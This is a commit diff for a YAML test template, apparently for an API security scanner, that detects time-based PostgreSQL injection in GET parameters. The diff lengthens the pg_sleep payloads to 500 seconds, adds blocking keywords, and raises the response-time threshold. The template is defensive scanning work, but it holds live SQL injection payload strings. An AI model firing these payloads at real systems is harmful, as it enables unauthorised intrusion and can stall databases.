Skip to content

Commit 2f12557

Browse files
committed
fixed
1 parent d4babd2 commit 2f12557

File tree

1 file changed

+7
-5
lines changed

1 file changed

+7
-5
lines changed

Broken-User-Authentication/TimeBasedPostgreSQLiGET.yml

Lines changed: 7 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -76,10 +76,10 @@ api_selection_filters:
7676
extract: userVal
7777
wordLists:
7878
timeBasedPayloads:
79-
- "' OR 1=1; SELECT pg_sleep(5) -- -"
80-
- "' OR CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END -- -"
81-
- "' OR (SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END) -- -"
82-
- "' OR (SELECT pg_sleep(5) WHERE (SELECT COUNT(*) FROM users) > 10) -- -"
79+
- "' OR 1=1; SELECT pg_sleep(500) -- -"
80+
- "' OR CASE WHEN (1=1) THEN pg_sleep(500) ELSE pg_sleep(0) END -- -"
81+
- "' OR (SELECT CASE WHEN (1=1) THEN pg_sleep(500) ELSE pg_sleep(0) END) -- -"
82+
- "' OR (SELECT pg_sleep(500) WHERE (SELECT COUNT(*) FROM users) > 10) -- -"
8383
execute:
8484
type: multiple
8585
requests:
@@ -124,6 +124,8 @@ execute:
124124
- CloudFlare
125125
- Sorry, you have been blocked
126126
- " OR "
127+
- "OR"
128+
- "SELECT"
127129
- success: x2
128130
- failure: exit
129131
- req:
@@ -136,7 +138,7 @@ validate:
136138
and:
137139
- compare_greater:
138140
- ${x2.response.stats.median_response_time}
139-
- 5001
141+
- 15001
140142
- compare_greater:
141143
- ${x2.response.stats.median_response_time}
142144
- ${x1.response.stats.median_response_time} * 5

0 commit comments

Comments
 (0)